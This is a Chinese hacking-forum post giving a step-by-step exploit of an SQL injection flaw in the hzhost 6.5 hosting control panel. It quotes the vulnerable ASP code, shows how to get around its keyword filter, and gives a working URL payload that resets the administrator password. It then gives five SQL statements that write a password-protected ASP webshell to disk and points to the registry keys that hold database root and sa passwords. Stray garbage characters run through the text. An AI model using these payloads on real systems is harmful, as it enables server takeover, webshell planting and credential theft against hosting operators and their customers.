找回密码
 立即注册
查看: 2497|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。9 g* c) S8 ]4 @% J3 e
只讲两个要点。
5 Z) Q; q8 }9 g% y. M4 K. Q第一,如何拿网站管理员权限。4 ~: ^& I  N5 l# t  z" g( H* S
第二,如何备份木马。# A/ a0 C$ w; |7 Z
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。; Z1 s1 L$ Z- l% W) N( ]
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。) q  o  U5 P9 F/ `. t' C0 K+ b
httP://www.xxbing.com QQ178737315& z5 ~; r" h' g% m3 @- y7 B% h5 h
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。, e! F. Y! P8 ^3 W
------------开放浏览-------------7 |% k6 H0 ~* E/ T! O) i* d$ W0 h
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!
0 L% H: \) O' y" u1 @8 t) Y& {; g: O-------------------------13-15行----------------------------
! ^' y0 l9 {6 }# U0 R querytype=SafeRequest("querytype")  //saferequest函数接受数据
5 _' W# J1 R' a" Z. L if chk_int(querytype)=false then  //检查是否是整数$ a. H' `2 M, l* r6 E
    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
7 R6 ]2 F) v3 h4 o -------------------------37-42行---------------------------
3 X# v0 J& H9 | elseif querytype=5 then //如果类型为5。就接受qu1数据!  ]6 t, Q1 i- q# o$ J; d
   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!$ z' V5 f, T; Q' Y
   $ t, D! t, K8 y: ]. W# [/ ]6 W- @
    if  qu1="" then  //不能为空
' @3 L" r' ^: ^3 Q7 f, Q5 z0 g         call errorpage(-2,"对不起,请选择参数!")* l& u8 n7 ^2 g9 X- Q; I- u
   end if         / K% v; \) H  j
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!3 U* b0 R% f6 ?% z# W- d
-------------------------62-65行---------------------------
0 q: {+ Q& B6 O qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据( R( I. c  k+ E8 b+ a& Q  Y$ g
if qu7<>"" then+ Z8 C& Q! d6 l- Q
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
, G4 U9 Y4 ?+ X0 r: _; w end if # K- K8 z: D6 i' @
--------------------------117行-----------------------------4 W- B! l: C: g' B
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
' K( `% j+ J. N. u  ~ //到这里就丢进去查询了!
$ M4 e2 ^  u" e% A# @, q6 ^$ j, ^! L% Z0 U0 g5 d, J
来看看saferequest()函数。
( ~) d& v6 ]8 G5 \" j; f* p% J------------------incs/config.asp中-------------------------
& E; h. P4 g4 w Function SafeRequest(ParaName) 6 i: d0 b  W7 H) C5 y
Dim ParaValue ) J% N5 ]3 W7 n% O& w4 e: g6 w  |
ParaValue=Request(ParaName)  //获取数据: W! |4 m, i# D+ K% P( M* t
if IsNumeric(ParaValue)  then  //如果是数字
; w1 V) y( E) K: Y SafeRequest=ParaValue  //那就不过滤,直接赋值
* N' y' _- W' S0 C  J3 I) t exit Function
1 n& M- T8 B1 z3 [% n' @4 V8 k/ K) i) F2 `" W; L& I2 Q
else$ m0 M. k9 I( @; y
ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写( J# _3 s; W: I
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from") P: u% Z5 s" H- U/ o
//定义要过滤的字符!
+ `% O2 v9 ~& D" A0 B. f9 `8 U2 A. [. A& h: [
他过滤方式有问题。。。没有过滤 * / % / -- / ;
1 b  N9 `, Z' _! T% M* D6 S4 z 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
) |8 g4 M9 r5 f& E/ D) F
6 c  U9 g9 b9 t) \. _+ S temps=split(tempvalue,"|")           //转为一维数组  w/ |6 ]. y! l
for mycount=0 to ubound(temps)       //循环读数组内数据/ A  Q  t, Q8 q% u. n0 z
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
& n. Y% _& P/ p- K5 Y7 x                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
4 G! i/ u& e7 b2 c                 response.end7 A8 G. C9 G4 E1 f$ |! W7 X& O0 P9 [
end if
0 F  ]6 ~+ r8 p9 c0 B, G4 o3 | next
; W- n+ J9 j4 q7 v! ^ SafeRequest=ParaValue
; }3 [8 z, Q, p8 s% f- }% Z- x end if. p& m( F4 M) @9 J
End function- B/ ?2 i$ o% j% f
-------------------------------------
9 [: D: C3 e2 |$ f) J& z6 n1 }9 I/ D1 C  k9 g: ^' K- {' ~( p8 c
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。% e2 t/ R# d# d" l& C7 o
先给出查询语句的框架。4 A+ K, Q0 v% U9 F
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
6 G1 N" P7 g: b2 P) A4 n  W; \$ a6 g( k( w9 g) l2 ]9 l( J
为了使语句顺利执行:
' M/ D. |+ h) u 我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
- D3 D! E+ |( x8 n2 ? 这里我给出条示范语句,即{我们的语句}
2 ]3 ]4 j; R( `5 i( C& D: Q/ c1 y. d: tUPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
/ P9 ~- W$ ~- p% P/ n$ g
* F) U7 J# p0 w& n这条语句能够绕过saferequest函数的检测。没有出现单引号。
; E; `" k% R" E$ A0 P3 h, Z4 T 我们提交:
' R+ G2 j+ F" L! `http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
1 _8 y% I3 [1 D# c9 E* @+ I- E% f1 }( t6 i
这句话就能够将admin的密码修改成123456
9 g3 m% S, s/ D: X, g 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。  B7 P4 @% Z% O
第二步是要备份挂马。8 Y6 J$ A8 [7 q: x  U8 G
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(2 N" L2 K4 `+ l; A- J# z
导致备马的这条语句失败。
0 |, K8 L" k3 o. s0 ^4 E  Qdeclare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。0 r7 j0 f# p% z. d9 r* I

1 u( Y6 w: o$ D' f2 U 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
2 K" y  d4 T. g$ Z7 N 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
; \# q8 c" @' e  [" Z/ R4 j 接下来放出详细语句。大家放入{我们的语句中}
4 }: i5 Y6 K. R第 一 步:8 G: m: t5 Y0 V
create table [dbo].[shit_tmp] ([cmd] [image])--
# i8 H6 g, [5 R0 t- v9 P( M+ [ 第 二 步1 Q7 M! I9 F* U+ F1 l; i+ T- T
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--. I& R# X5 n( m5 X" a
第 三 步
2 R1 V% z, _" L7 c insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--3 X3 H; H; k0 B
第 四 步
, n# s0 a' e8 q0 B declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--- N! l2 o2 z0 s7 f
第 五 步
% }3 z5 c7 N. S$ a; X Drop table [shit_tmp]--" Y& V" r- d& p  Q, Q0 o) G

4 H& L7 M. w; S: @$ Q0 k, | 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
9 P- ~1 b% g3 m; X8 i7 U. g 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
) g- ~+ Q/ \- {8 `0 l. D 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
' v  L9 H6 m8 C- X% O) l0 R7 W9 j6 w. L% H8 t- W
最后是答疑部分:; Z: \1 ~. e! o  w4 x
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
) u; F- U9 G3 b/ q5 v
6 ~# `  {, L% z% k$ f 2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
& n3 k  B8 _+ H5 z( E 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:8 v- O! N: l" {0 T) P& _
0x6531306164633339343962613539616262653536653035376632306638383365
6 }3 ~* T/ Z; w; _; r2 m' W; _) z 大家仔细观察,会发现,其实只是去掉了一些00。。
" L- r. M0 m4 f, H" w 所以大家在转换其他md5的时候,注意此问题。5 r; E6 F% m: H% J
' ^. @- Z/ N6 ^% Z" I2 h) E
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。; L2 s" ?* [5 E, N& j$ K9 [
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。! N! u- F) }4 N+ ~+ `

* ]" {# _( x8 r$ Y% o# | 4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
/ `1 V! q& x2 ~ 有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。9 z( q* u! ?7 X
3 U6 J& ]2 @! b8 V
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。) n& t2 s4 _6 H7 E/ q( Y

" r9 E  }* g* W& X 6::
1 s# u! q! Y, ~. `  Qsa密码。root密码。  X5 [7 S2 `; [8 B: p, o8 a
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\1 {  _. u. H. f* V! }+ q
mysqlpass---root密码3 x! W6 v8 f5 q
mssqlpss----sa密码
5 \! ^6 p% ?. ]* M. x% a/ ]* T7 a8 L, L2 E5 K# }/ ~" b( z
' p+ r/ Z( O2 Y, ]
7.如果路径不在D:/hzhost- k( A3 d; M: ^0 @2 O5 O, v0 w, w
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。8 B. a6 I5 |& p0 O
或者去读注册表。
; H0 @, x4 K9 Q' n4 l7 c* p4 R HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下( `. M$ W% _- _- ^. F  N9 _$ ~
"wwwrootpath"="e:\\wwwroot"
4 ~, e) ?8 D, C" W5 v6 l( c  F "urlsiteroot"="D:\\hzhost\\hzhost_url"; _: b2 I; }" `/ F2 @
"ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
9 I: F# S' d+ I- k1 y 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!" d5 j4 K0 ]5 L: C5 d9 t
7 T" {4 ?9 o* _) F# Z7 h- O
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
' A1 |- ~5 T0 C9 d/ Y: zhzhost最新漏洞.rar
. A0 K1 e7 o+ H$ B; B" V 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!) |7 [5 d9 G$ t8 J( g

+ c! j4 W4 n7 {. J( G4 W! X 最后,还是版权。
( w- X' }% o, N" j$ W9 Ohttp://www.xxbing.com QQ178737315
4 |% b% b% w% p$ J( A 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表